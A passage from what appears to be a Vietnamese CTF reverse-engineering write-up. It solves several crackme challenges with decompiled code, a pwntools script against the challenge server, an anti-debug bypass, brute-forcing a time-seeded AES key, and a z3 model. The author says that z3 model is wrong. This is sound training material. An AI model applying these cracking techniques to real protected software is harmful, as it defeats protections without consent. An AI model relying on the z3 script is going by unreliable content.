*(_BYTE *)(v9 + v13); result = v6; *(_BYTE *)(v13 + v9) = v6; } return result; } ``` Hàm này đã tạo ra 25 kí tự đầu tiên của v12 trông khá lằng nhằng nên mình sẽ code lại: ```cpp #include <bits/stdc++.h> //Logm using namespace std; #define int long long int byte_4220[] = { 0, 5, 4, 2, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 6, 1, 0, 9, 0, 0, 0, 7, 8, 0, 0, 2, 4, 7, 0, 0, 0, 2, 1, 0, 3, 0, 0, 9, 0, 0, 0, 7, 0, 0, 6, 0, 3, 7, 0, 0, 0, 9, 4, 7, 0, 0, 9, 2, 0, 0, 0, 0, 0, 6, 2, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 4, 2, 7, 0 }; int solved[81]; int byte_4020[] = {0xFD, 0x56, 0xE5, 0xD9, 0x26, 0x1E, 0x6, 0x3B, 0x84, 0x5F, 0x0B4, 0x1, 0x5B, 0x0C6, 0x0F, 0x0CA, 0x0CE, 0x87, 0x0F4, 0x0A9, 0x73, 0x29, 0x7, 0xEE, 0x0BA}; string Arcaea = "Arcaea"; int v13[256]; void sub_14B2() { for (int i = 0; i <= 255; ++i) v13[i] = i; int v9 = 0; for (int j = 0; j <= 255; ++j) { v9 = (v13[j] + v9 + Arcaea[j % 6]) % 256; swap(v13[j], v13[v9]); } } int HIBYTE(int x) { return x >> 8; } int HIDWORD(int x) { return x >> 16; } int v12[999]; void sub_159C() { int v11 = 0; sub_14B2(); // tính v13 int input[25] = {}; for (int i = 0; i < 25; ++i ) { int v5 = v13[i + 1] + v11; v11 = (v13[i + 1] + v11) % 256; swap(v13[v11], v13[i + 1]); // v12[i] = v13[v13[i + 1] + v13[v11]] ^ input[i]; input[i] = v12[i] ^ v13[(v13[i + 1] + v13[v11]) % 256]; cout << char(input[i]); } } bool check[11]; bool sub_11E9(int a[]) { for (int i = 0; i < 9; ++i) { memset(check, 0, sizeof check); for (int j = 0; j < 9; ++j) { int val = a[i * 9 + j]; if (val > 0 && check[val]) return 0; check[val] = 1; } } return 1; } bool sub_12A7(int a[]) { for (int i = 0; i < 9; ++i) { memset(check, 0, sizeof check); for (int j = 0; j < 9; ++j) { int val = a[j * 9 + i]; if (val > 0 && check[val]) return 0; check[val] = 1; } } return 1; } bool sub_1365(int a[]) { for (int i = 0; i <= 8; i += 3) { for (int j = 0; j <= 8; j += 3) { memset(check, 0, sizeof check); for (int k = 0; k <= 2; ++k) { for (int m = 0; m <= 2; ++m) { int val = a[9 * (i + k) + j + m]; if (val > 0 && check[val]) return 0; check[val] = 1; } } } } return 1; } bool solve(int id) { if (id == 81) return 1; if (solved[id] != 0) return solve(id + 1); for (int i = 1; i <= 9; ++i) { solved[id] = i; if (sub_11E9(solved) && sub_12A7(solved) && sub_1365(solved)) { if (solve(id + 1)) return 1; } solved[id] = 0; } return 0; } signed main() { for (int i = 0; i < 81; ++i) solved[i] = byte_4220[i]; solve(0); for (int i = 0; i < 81; ++i) { cout << solved[i] << " \n"[i % 9 == 8]; } int cnt = 0; vector<int> a; for (int i = 0; i < 81; ++i) if (byte_4220[i] != solved[i]) { a.push_back(solved[i]); } for (int i = 0; i < a.size(); i += 2) { int val = a[i] * 16 + a[i + 1]; val ^= byte_4020[i / 2]; v12[i / 2] = val; } sub_159C(); getchar(); return 0; } ``` Cuối cùng cũng ra được flag: ![image](https://hackmd.io/_uploads/BkLcWrUUJg.png) ## VEROTUA Chạy thử: ![image](https://hackmd.io/_uploads/rymRXsMUye.png) ![image](https://hackmd.io/_uploads/Sk8JNoGLye.png) Một file ELF đã được mã hóa bằng base64, vậy nhiệm vụ đầu tiên là phải giải mã nó và thả vào IDA để xem nó làm gì mà ra được cái example kia: ![image](https://hackmd.io/_uploads/SJPaNsfUJl.png) Hàm main cũng khá dài nhưng phần quan trọng nằm ở đây: v6 là input sau khi xor với 0x37 và 0x13 ở vị trí chẵn lẻ tương ứng và đem so sánh với mảng v4 nếu khớp thì correct. Đây là một bài interactive nên sẽ có nhiều file ELF được gửi từ server và mình đã thử với khá nhiều file thì tháy format chung tương tự nhau chỉ thay đổi dữ liệu mảng v4 với đống biến gây nhiễu phía trên. Vậy ta cần viết script để decode base64, lưu file ELF, dump code assembly và tìm đến đúng chỗ của mảng v4 để lấy đống hex và đem đi xor với 0x37, 0x13 ở những vị trí tương ứng. Research khá nhiều để tìm hiểu các sài elftools trong python, mình đã thấy khi dump ra thì chỗ v4 lệnh gán của nó là movabs và chỉ có chỗ đó dùng nên khá dễ để tìm đến. ```python from pwn import * import base64 from elftools.elf.elffile import ELFFile from capstone import Cs, CS_ARCH_X86, CS_MODE_64 # Adjust depending on architecture target = remote("chall.w1playground.com", 13337) numtest = 0 while (1): numtest += 1 s = str(target.recvline()) while 'ELF:' not in s: s = str(target.recvline()) l = 0 while s[l] != 'f': l += 1 r = len(s) - 1 while s[r] != '=' and s[r] != 'A': r -= 1 s = s[l:(r + 1)] s = base64.b64decode(s) # print(s) with open('elf', 'wb') as f: f.write(s) # Dump assembly code text_section = None with open('elf', 'rb') as f: elf = ELFFile(f) # Locate the '.text' section (where code is typically stored) for section in elf.iter_sections(): if section.name == '.text': # .text section holds the executable code text_section = section break # if not text_section: # print("No .text section found in ELF file.") # exit(0) text_data = text_section.data() md = Cs(CS_ARCH_X86, CS_MODE_64) # Use CS_ARCH_ARM, CS_MODE_ARM for ARM-based ELF a = [] for i in md.disasm(text_data, 0x1000): # 0x1000 is just the start address (could be different) # print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}") if i.mnemonic == 'movabs': x = i.op_str.split()[1][2:] while len(x) < 16: x = '0' + x b = bytearray.fromhex(x) for j in range(len(b) - 1, -1, -1): a.append(b[j]) flag = '' for i in range(len(a)): if ((i & 1) != 0): a[i] ^= 0x37 else: a[i] ^= 0x13 flag += chr(a[i]) print(numtest) # print(flag) target.sendline(bytearray(flag.encode())) target.interactive() ``` Bài này thực sự có đến 300 test với giới hạn thời gian 60s, nghĩa là mỗi test chỉ có 0.2s để chạy ;-; Sau vài lần bị time out thì cũng đến lúc server chạy nhanh hơn tí :v ![6aqq81yh](https://hackmd.io/_uploads/r1dQwizU1e.png) ## Your opinion Chạy thử: 1: ![image](https://hackmd.io/_uploads/Hy9oUb1L1l.png) 2: ![image](https://hackmd.io/_uploads/r1jTUb1I1l.png) Có một hàm check time out được gọi liên tục trong các truy vấn (nếu quá 3s sẽ thoát chương trình). 3: ![image](https://hackmd.io/_uploads/SyIew-JLJx.png) Đoạn này có một cái fake flag được in ra?? Liệu đây có phải là chỗ để in flag sau khi gọi các truy vấn khác? 4: ![image](https://hackmd.io/_uploads/BywMwZkIJe.png) 5: ![image](https://hackmd.io/_uploads/BJb4PZkUyx.png) 6: ![image](https://hackmd.io/_uploads/SJGrPWy8ke.png) Các hàm dưới đây đã được rename, comment bằng tay để dễ hiểu hơn (nhưng có thể không đúng với cái tên của nó :v) Hàm main: ```c void __fastcall __noreturn main(const char *a1, char **a2, char **a3) { unsigned int v3; // edx int i; // [rsp+Ch] [rbp-4h] while ( 1 ) { while ( 1 ) { timer_check(a1, a2, a3); puts("Do you have a good eyesight? Show me now!"); puts("1: It's dinner timeee!"); puts("2: Let's cook!"); puts("3: Nothing there, i promise!"); puts("4: Wanna see my machine?"); puts("5: Take some more water here"); puts("6: And some sugar too?"); a2 = (char **)&input; a1 = "%d"; __isoc99_scanf("%d", &input); if ( input != 1 ) break; query1(); } switch ( input ) { case 2: query2(); break; case 4: query4(); break; case 3: query3(); break; case 6: query6(); break; case 5: query5(); query6(); break; default: for ( i = 0; i <= 99; ++i ) { if ( (dword_41A0[i] & 1) != 0 ) v3 = (unsigned int)(dword_41A0[i] + 1) >> 1; else v3 = dword_41A0[i] >> 1; input ^= v3; } a1 = "Invalid option!!"; puts("Invalid option!!"); if ( input == 852 ) sub_1255((__int64)"Invalid option!!", (__int64)&input, (__int64)a3); break; } } } ``` Trong đó: * timer_check: * 3s * Thấy không có cách để cố ý thay đổi 2 biến lấy hiệu thời gian trong hàm này nên mình xác định là sẽ không dùng đến virtual machine này để tìm flag mà đi vào cách vận hành của nó. * sub_151B: * for i = 0->35: if byte_4020[i] != byte_4060[(char)byte_4580[i]]: dword_4460 = 1 * query 1: * "Congrats!:" * for i = 0->35: * byte_4580[i] ^= dword_4460 * in ra byte_4580[i] * query 2: * "Wait a second:", chờ 1s, timercheck, "Ok basically done!" * for i = 0->35: byte_4480[i] = byte_43C0[i] * query 3: * "still wanna see?", chờ 1s, "W2{This_is_a_fake_flag_hohohaha}", chờ 2s, "Why are you still here?", chờ 2s, "Byeee!" * mất 5s cho hàm này, gọi timercheck và chắc chắc chết * query 4: * for i = 0->35: byte_4580[i] = byte_4500[i] ^ byte_4480[i] * sub_151B * "My machine is old... but it's gold." * query 5: * chờ 2s * for i = 0->23: * ~(byte_4170[i] ^= 9 += 10 |= 8 &= 7 -= 6) * if i <= 22: byte_4170[i] = byte_4170[i] < byte_4170[i + 1] * query6 * query 6: * chờ 2s * for i = 0->23: byte_4170[i] ^= byte_43C0[i] >>= 2 * "Yessss, i love sweetttt" * default: * for i = 0->99: * input ^= (dword_41A0[i] + 1) >> 1 * "Invalid option!!" * if (input == 852) -> printflag?may be * sub_1255: Hey, give me your data: read 36 byte_4500 Dự đoán: * query 1 có lẽ là chỗ in ra flag nhưng cần có data trong byte_4580[i] và biến dword_4460 (hình như chỉ là 0/1). * Hàm sub_151B giống như một hàm checkflag, để dword_4460 bằng 0 flag mới có thể được in ra ở query 1 thì byte_4020[i] == byte_4060[(char)byte_4580[i]] với 36 kí tự. * byte_4060 là một mảng đã được khởi tạo sẵn và byte_4020 cũng vậy. * vậy nếu đoán đúng thì chỉ cần thử tất cả các kí tự của byte_4580[i] để cho điều kiện trên là đúng thì sẽ có flag. ```cpp #include <bits/stdc++.h> //Logm using namespace std; // #define int long long signed main() { int byte_4020[] = {0x57, 0x31, 0x0DF, 0x54, 0x0CC, 0x33, 0x5F, 0x62, 0x0C9, 0x32, 0x0D8, 0x5F, 0x0D8, 0x0CC, 0x31, 0x0D2, 0x0CB, 0x5F, 0x0CD, 0x53, 0x5F, 0x0D2, 0x33, 0x0DA, 0x33, 0x0D6, 0x5F, 0x47, 0x31, 0x0DA, 0x0C9, 0x5F, 0x0D9, 0x0D4, 0x21, 0x0E1}; int byte_4060[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xA, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x0C8, 0x0C9, 0x0CA, 0x0CB, 0x0CC, 0x0CD, 0x0CE, 0x0CF, 0x0D0, 0x0D1, 0x0D2, 0x0D3, 0x0D4, 0x0D5, 0x0D6, 0x0D7, 0x0D8, 0x0D9, 0x0DA, 0x0DB, 0x0DC, 0x0DD, 0x0DE, 0x0DF, 0x0E0, 0x0E1, 0x0E2, 0x0E3, 0x0E4, 0x0E5, 0x0E6, 0x0E7, 0x0E8, 0x0E9, 0x0EA, 0x0EB, 0x0EC, 0x0ED, 0x0EE, 0x0EF, 0x0F0, 0x0F1, 0x0F2, 0x0F3, 0x0F4, 0x0F5, 0x0F6, 0x0F7, 0x0F8, 0x0F9, 0x0FA, 0x0FB, 0x0FC, 0x0FD, 0x0FE, 0x0FF, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0x0A0, 0x0A1, 0x0A2, 0x0A3, 0x0A4, 0x0A5, 0x0A6, 0x0A7, 0x0A8, 0x0A9, 0x0AA, 0x0AB, 0x0AC, 0x0AD, 0x0AE, 0x0AF, 0x0B0, 0x0B1, 0x0B2, 0x0B3, 0x0B4, 0x0B5, 0x0B6, 0x0B7, 0x0B8, 0x0B9, 0x0BA, 0x0BB, 0x0BC, 0x0BD, 0x0BE, 0x0BF, 0x0C0, 0x0C1, 0x0C2, 0x0C3, 0x0C4, 0x0C5, 0x0C6, 0x0C7}; for (int i = 0; i < 36; ++i) { // cout << char(byte_4020[i]); for (int j = 0; j < 232; ++j) { if (byte_4060[j] == byte_4020[i]) { cout << char(j); } } } getchar(); return 0; } ``` Kết quả ra được như vậy và submit đúng ![image](https://hackmd.io/_uploads/HynFR_f8yl.png) ## secret_flag_encryptor Chạy thử ![image](https://hackmd.io/_uploads/Ska04vSL1l.png) Có thể thấy với cùng một flag thì chương trình cho ra nhiều kết quả khác nhau! ![image](https://hackmd.io/_uploads/ByaN9USLkx.png) Hàm main: ``` c __int64 __fastcall realmain(__int64 a1, int a2) { unsigned int v2; // eax int v3; // edx int v4; // ecx int v5; // r8d int v6; // r9d unsigned int v8; // [rsp+Ch] [rbp-9A4h] int v9; // [rsp+14h] [rbp-99Ch] __int64 v10; // [rsp+18h] [rbp-998h] char v11[16]; // [rsp+20h] [rbp-990h] BYREF char v12[32]; // [rsp+30h] [rbp-980h] BYREF char v13[128]; // [rsp+50h] [rbp-960h] BYREF char input[256]; // [rsp+D0h] [rbp-8E0h] BYREF char v15[2008]; // [rsp+1D0h] [rbp-7E0h] BYREF unsigned __int64 v16; // [rsp+9A8h] [rbp-8h] v16 = __readfsqword(0x28u); v2 = time(0LL); srandom(v2); printf((unsigned int)"Enter your flag: ", a2, v3, v4, v5, v6); fgets(input, 256, (int *)stdin); v10 = ((__int64 (__fastcall *)(char *))j_strlen_ifunc)(input); if ( input[v10 - 1] == '\n' ) input[v10 - 1] = 0; v8 = ((__int64 (__fastcall *)(char *))j_strlen_ifunc)(input); xor_array(input, (int)v8, 174); generate_random_bytes((__int64)v12, 32uLL); generate_random_bytes((__int64)v11, 16uLL); v9 = aes256_cbc_encrypt(input, v8, v12, v11, v13); base64_encode_custom(v13, v9, v15); puts(v15); return 0LL; } ``` Hàm xor_array: ```c __int64 __fastcall xor_array(_BYTE *a1, __int64 a2, char a3) { __int64 result; // rax do { result = (unsigned __int8)((a3 ^ *a1) + 51); *a1++ = result; --a2; } while ( a2 ); return result; } ``` input sau khi nhập vào đã qua một hàm xor ```c unsigned __int64 __fastcall generate_random_bytes(__int64 a1, unsigned __int64 a2) { unsigned __int64 result; // rax unsigned __int64 i; // [rsp+18h] [rbp-8h] for ( i = 0LL; ; ++i ) { result = i; if ( i >= a2 ) break; *(_BYTE *)(a1 + i) = (int)rand() % 256; } return result; } ``` Hàm này tạo ra một xâu random với độ dài a2, bằng các thêm từng kí tự bởi rand(). Ở hàm main đã gọi srandom(v0) với seek là time(0). Hàm này được gọi 2 lần tạo ra 2 xâu v12 (32 bytes) và v6 (16 bytes). Tiếp theo là hàm encrypt chính: ```c __int64 __fastcall aes256_cbc_encrypt(__int64 a1, unsigned int a2, __int64 a3, __int64 a4, __int64 a5) { __int64 v6; // rax unsigned int v10; // [rsp+38h] [rbp-18h] BYREF unsigned int v11; // [rsp+3Ch] [rbp-14h] __int64 v12; // [rsp+40h] [rbp-10h] unsigned __int64 v13; // [rsp+48h] [rbp-8h] v13 = __readfsqword(0x28u); v12 = EVP_CIPHER_CTX_new(); if ( v12 ) { v6 = EVP_aes_256_cbc(); if ( (unsigned int)EVP_EncryptInit_ex(v12, v6, 0LL, a3, a4) == 1 ) { if ( (unsigned int)EVP_EncryptUpdate(v12, a5, &v10, a1, a2) == 1 ) { v11 = v10; if ( (unsigned int)EVP_EncryptFinal_ex(v12, (int)v10 + a5, &v10) == 1 ) { v11 += v10; EVP_CIPHER_CTX_free(v12); return v11; } else { puts("Error finalizing encryption"); EVP_CIPHER_CTX_free(v12); return 0xFFFFFFFFLL; } } else { puts("Error encrypting message"); EVP_CIPHER_CTX_free(v12); return 0xFFFFFFFFLL; } } else { puts("Error initializing AES encryption"); EVP_CIPHER_CTX_free(v12); return 0xFFFFFFFFLL; } } else { puts("Error creating cipher context"); return 0xFFFFFFFFLL; } } ``` Sau khi tham khảo chatgpt thì mình biết được: * a1: Dữ liệu cần mã hóa * a2: Độ dài * a3: Con trỏ tới khóa AES 256-bit (32 byte). * a4: Con trỏ tới vector khởi tạo (IV) (16 byte). * a5: Con trỏ tới bộ đệm nơi kết quả mã hóa sẽ được lưu trữ. Hàm main đã gọi ```aes256_cbc_encrypt(input, v8, v12, v11, v13);``` nên hàm này sẽ đi mã hóa input với độ dài v8, key là v12 và vector khởi tạo v11 (đã được sinh ngẫu nhiên ở 2 hàm gen phía trên) và trả về kết quả cho v7. Cuối cùng là hàm ```base64_encode_custom(v7, v3, v9);``` với đầu vào là v7, độ dài v3 và đầu ra v9. ![image](https://hackmd.io/_uploads/Hkzge8r8yx.png) Ban đầu thì giống như base64_table bình thường, có một hàm change_ đã được gọi ở before_main đồng thời có cả antidebug: ```c __int64 before_main() { __int64 result; // rax result = isUnderDebugger(); if ( !(_DWORD)result ) return change_base64_table((__int64)"ZYXWVUTSRQPON012345MLKJIHGFEDCBAabcdefghijklmnopqrstuvwxyz6789+/"); return result; } __int64 __fastcall change_base64_table(__int64 a1) { __int64 result; // rax int i; // [rsp+14h] [rbp-4h] for ( i = 0; i <= 63; ++i ) { result = i; custom_base64_table[i] = *(_BYTE *)(i + a1); } statt = 1; return result; } ``` Biến statt trong hàm này có ý nghĩa gì? ![image](https://hackmd.io/_uploads/rJ7ELV8UJg.png) Khi phân tích sâu hơn thì mình thấy hàm xor array thực sự đã bị chỉnh sửa bởi một hàm khác ![image](https://hackmd.io/_uploads/rJFudIS8kx.png) Để ý thấy nó đã bị tác động bởi hàm my_init_func ```c __int64 my_init_func() { __int64 result; // rax __int64 v1; // [rsp+8h] [rbp-8h] result = (unsigned int)statt; if ( statt ) { v1 = sysconf(30); if ( (unsigned int)mprotect(-v1 & (unsigned __int64)xor_array, v1, 7uLL) ) return perror("mprotect failed"); *((_BYTE *)xor_array + 44) = 52; result = mprotect(-v1 & (unsigned __int64)xor_array, v1, 5uLL); if ( (_DWORD)result ) return perror("mprotect failed"); } return result; } ``` ![image](https://hackmd.io/_uploads/ryEzKLH8Jx.png) Ban đầu vốn input đã được đem xor với a3 (=174) rồi cộng với 51, nhưng my_init_func đã thực hiện một số thay đổi trên nó, mình sẽ phải xem nó đã làm gì và hàm xor_array thực sự ra sao. Nhưng nếu dùng debug để xem thì không thể qua được đoạn isUnderDebugger(), hàm change_base64_table sẽ không được gọi và biến statt không được bật, nên cũng sẽ không có thay đổi nào cả. Vậy nên lúc debug cần phải nhảy vào được hàm change_base64_table. Đặt break point đầu tiên ở chỗ kiểm tra và set bằng 0 ![image](https://hackmd.io/_uploads/r1sAd4LIJx.png) next thì thấy nó qua được rồi ![image](https://hackmd.io/_uploads/BkbMFE8Lkg.png) đặt break point thứ 2 ở hàm xor_array rồi continue tới ![image](https://hackmd.io/_uploads/S1swKELI1x.png) lệnh add al, 0x33 được bị thay đổi thành xor al, 0x33. Đến đây thì đã rõ ràng hơn rồi, để build lại flag ban đầu mình sẽ đi ngược từ dưới lên: * Đầu tiên là lấy output decode base 64 custom * Sau đó decrypt AES_CBC gồm các bước: * Dựng lại key và IV? * Chương trình gọi srand(time(0)) ở đầu nên mình sẽ tìm thời gian gần đúng với lúc challenge được tạo ra rồi duyệt trâu. * Với tất cả các mẫu decrypt ra được, thực hiện đảo ngược qua xor_array bằng cách xor 51 rồi xor 174. * Cuối cùng sẽ phải được một xâu có format của flag, nếu không thì duyệt tiếp. ```python from datetime import datetime import pytz from Crypto.Cipher import AES import base64 s = "OwDWnOK7CtNsxupXLpAvnK1QZaWpXZHBEuIf94KNC5MQ8sJgpUPmYF8ME8sWqrwf" custom_table = "ZYXWVUTSRQPON012345MLKJIHGFEDCBAabcdefghijklmnopqrstuvwxyz6789+/" base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" def cover(s): t = "" for i in s: for j in range(64): if i == custom_table[j]: t += base64chars[j] break return t s = cover(s) s = base64.b64decode(s) ciphertext = s print(ciphertext) # Tạo datetime cho thời điểm 28/12/2024 15:20:43 PM (thời gian tạo ra file output) time = pytz.timezone('Asia/Ho_Chi_Minh').localize(datetime(2024, 12, 28, 15, 20, 43)) seed = int(time.timestamp()) + 24*60*60 print(seed) def aes_cbc_decrypt(ciphertext, key, iv): cipher = AES.new(key, AES.MODE_CBC, iv) return cipher.decrypt(ciphertext) from ctypes import CDLL libc = CDLL('libc.so.6') def generate_random_bytes(len): s = [libc.rand() % 256 for _ in range(len)] return bytes(s) # giới hạn thời gian 3 ngày: timelimit = 3*24*60*60 for _ in range(timelimit): libc.srand(seed) key = generate_random_bytes(32) iv = generate_random_bytes(16) # print(key) # print(iv) # exit() plaintext = aes_cbc_decrypt(ciphertext, key, iv) flag = '' for i in range(len(plaintext)): c = plaintext[i] c ^= 0x33 c ^= 174 flag += chr(c) # print(flag) if 'W1{' in flag: print(flag) exit(0) seed -= 1 ``` ![image](https://hackmd.io/_uploads/rJZG9VI8Je.png) ## EzRev Chạy thử: ![image](https://hackmd.io/_uploads/S1maVuBLke.png) Chương trình đã kết thúc mà không in ra gì cả Hàm main: ```c int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rax __int64 v4; // rdi int result; // eax int v6; // ecx int v7; // r8d int v8; // r9d __int64 v9; // rdx unsigned int v10; // [rsp+14h] [rbp-8Ch] BYREF __int64 len; // [rsp+18h] [rbp-88h] _BYTE *v12; // [rsp+20h] [rbp-80h] _QWORD *v13; // [rsp+28h] [rbp-78h] char input[3]; // [rsp+30h] [rbp-70h] BYREF _BYTE v15[5]; // [rsp+33h] [rbp-6Dh] BYREF char v16[72]; // [rsp+50h] [rbp-50h] BYREF unsigned __int64 v17; // [rsp+98h] [rbp-8h] v17 = __readfsqword(0x28u); v12 = v15; print((__int64)"Enter the flag: ", argv, envp); read(input, 25, (unsigned int *)off_844B58); // stdin, len = 25 len = strlen(); if ( len && input[len - 1] == '\n' ) input[--len] = '\0'; v13 = (_QWORD *)sub_403CD0(); v3 = sub_409CA0(input); sub_4051C0((__int64)v13, v3, 0LL); sub_403CF0((__int64)v13, (__int64)input, len, (__int64)input); sub_403E20(v13, (__int64)v16, (int *)&v10); sub_404920((__int64)v13); v4 = sub_402C65((__int64)v16, v10); result = sub_4011F0(); if ( result ) { result = 0; v9 = v17 - __readfsqword(0x28u); if ( v9 ) sub_692CB0(v4, (__int64)"2159a2e2ea9075ed27db00d59fc3775ef4e88a0c778f099fa7d3eb791faf0661", v9, v6, v7, v8); } return result; } ``` Nhưng có vẻ như đoạn code trong phần ```if (resulf)``` đã không được complie ![image](https://hackmd.io/_uploads/SJxEpDHUke.png) Thử debug thì thấy chương trình tạo ra mã SHA256 của input mình nhập vào, vậy có lẽ đoạn "2159..." là SHA256 của kết quả, nhưng rõ ràng không thể reverse được. Nếu vậy thì cách cuối cùng chỉ có thể là đi mò đoạn này: ![image](https://hackmd.io/_uploads/SyOFNOSLJe.png) Lúc chạy thử thì không in ra gì nhưng trong hàm main thực sự có một lệnh print cái gì đó (có lẽ là flag :v). Giờ mình sẽ phải đi phân tích đống phía trên xem làm sao để tới được đây. Đoạn này cũng dài gần 900 dòng nên chắc chắn không thể nhìn bằng mắt được @@ nên mình sẽ cố phân tích đặc điểm của một vài chỗ quan trọng để viết script: * Để đến được chỗ print thì sẽ phải đi qua nhiều chỗ check (có vẻ là từng kí tự) có dạng: ``` cmp [rbp+id], val jnz exit ``` * Mình sẽ không để cho nó nhảy, có nghĩa là [rbp+id] phải bằng val. * Gom đống đó lại thì được một hệ 20 ẩn, phương trình phương trình, cần phải giải nó để ra flag ```python from z3 import * x = [BitVec(f'x_{i}', 64) for i in range(20)] solver = Solver() for i in range(20): solver.add(x[i] >= 32) solver.add(x[i] < 0x7f) solver.add((((x[0] << 4) + x[0] + x[1] * 0xFFFFFFC7 + (-x[5] << 2) + x[10] * 0x7C + x[15] - x[15] * 8 + x[19] * 0x3B + 0x83) & 0xff) == 0xFE) solver.add(((x[0] * 0x32 + ((x[1] << 3) + x[1]) * 2 + x[3] * 0xFFFFFF95 + x[10] * 0xFFFFFF8A + x[19] * 0xFFFFFFD9 + 0x6A) & 0xff) == 0x36) solver.add(((x[3] * 0xFFFFFFAF + (x[9] << 7) + x[13] * 0x67 + (x[15] << 5) - x[15] + (((x[18] << 3) + x[18]) << 2) + 0xD0) & 0xff) == 0x28) solver.add((((-x[0] << 6) + (x[3] << 6) + x[3] + (-x[5] << 4) + x[7] * 0xFFFFFF9A + x[10] * 0xFFFFFFB2 + x[11] * 0xFFFFFF95 + x[12] * 0xFFFFFFAC + 0xB6) & 0xff) == 0x7D) solver.add(((x[3] * 0x78 + x[18] * 0xFFFFFFB7 + 0xE9 ) & 0xff) == 0xF8) solver.add(((x[1] * 0x47 + x[5] * 0xFFFFFFBB + x[6] * 0xFFFFFFAF + (((x[7] << 2) + x[7]) << 3) + x[8] * 0xFFFFFFB7 + (((x[9] << 3) + x[9]) << 4) + x[11] * 0xFFFFFFAE + x[17] + 0x25 ) & 0xff) == 0x32) solver.add(((x[0] * 0xFFFFFFCE + x[3] - (x[3] << 4) + x[8] * 0xFFFFFFE9 + x[11] * 0xFFFFFFE7 + (-x[15] << 6) + x[16] * 0xFFFFFFBC + x[19] * 0xFFFFFF8C + 0x92 ) & 0xff) == 0x4A) solver.add(((x[10] * 0x75 + x[13] * 0x2E + x[15] * 0x43 + x[16] * 0x6B + 0x3D ) & 0xff) == 0x3B) solver.add((((-x[7] << 2) + x[11] * 0x71 + x[16] * 0xFFFFFF8A + 5) & 0xff) == 9) solver.add(((x[2] * 0x65 + (-x[7] << 6) + ((x[9] << 2) + x[9]) * 5 + 0xF1 ) & 0xff) == 0xE1) solver.add(((x[2] * 0x43 + (x[5] << 7) - x[5] + (x[6] << 4) + x[10] * 0x27 + -((x[11] << 2) + x[11]) + (x[16] << 4) + x[16] + x[19] * 0x2F + 0x2D ) & 0xff) == 0x3F) solver.add(((x[0] * 0xFFFFFF87 + x[13] * 0xFFFFFFDE + 0x25 ) & 0xff) == 0xBA) solver.add(((x[4] * 0xFFFFFFA5 + (x[6] << 2) + x[17] * 0xFFFFFF99 + (-x[19] << 2) + 0x87 ) & 0xff) == 0x54) solver.add(((x[2] * 0xFFFFFF9D + x[5] * 0x61 + ((x[6] * 3) << 2) + x[6] + (((x[10] << 2) + x[10]) << 2) + x[11] * 0x22 + x[13] * 0x17 + x[14] * -1 + ((x[17] << 2) + x[17]) * 2 + x[17] + x[18] * 0x58 + 0x27 ) & 0xff) == 0x36) solver.add(((x[3] * 0xFFFFFFA6 + x[8] * 0xA + x[12] * 0xFFFFFF8B + x[16] * 0x38 + x[18] * 0xFFFFFFDD + 5 ) & 0xff) == 0x81) solver.add(((x[2] * 0xA0 + x[6] * 0xFFFFFFC7 + 0xC2 ) & 0xff) == 0x25) solver.add(((x[1] - (x[1] << 4) + x[17] * 0x53 + x[19] * 0xFFFFFFBA + 0xDF ) & 0xff) == 0x58) solver.add(((x[2] * 0xFFFFFFA3 + x[4] * 0x2B + x[5] * 6 + x[7] * 0xFFFFFFDA + x[8] * 0xFFFFFFC3 + x[10] * 0xA + 0xF4 ) & 0xff) == 0x54) solver.add(((x[14] * 0x62 + x[17] * 0x71 + x[18] * 0x58 + 0x37 ) & 0xff) == 0xA1) solver.add(((x[0] * 0xFFFFFFF5 + x[1] * 0xFFFFFF9C + x[7] * 0x4B + x[11] * 0x11 + x[15] * 0xFFFFFFB1 + 0x40 ) & 0xff) == 0x74) print(solver.check()) if solver.check() == sat: model = solver.model() original_data_values = [chr(model[x[i]].as_long()) for i in range(20)] print("".join(original_data_values)) ``` Note: vẫn chưa ra flag do hệ phương trình sai ;-; Qua giải lần này em xin chân thành gửi lời cảm ơn đến thầy và các anh đã cho bọn em những challenge với nhiều kiến thức bổ ích, đặt biệt là anh Peter :3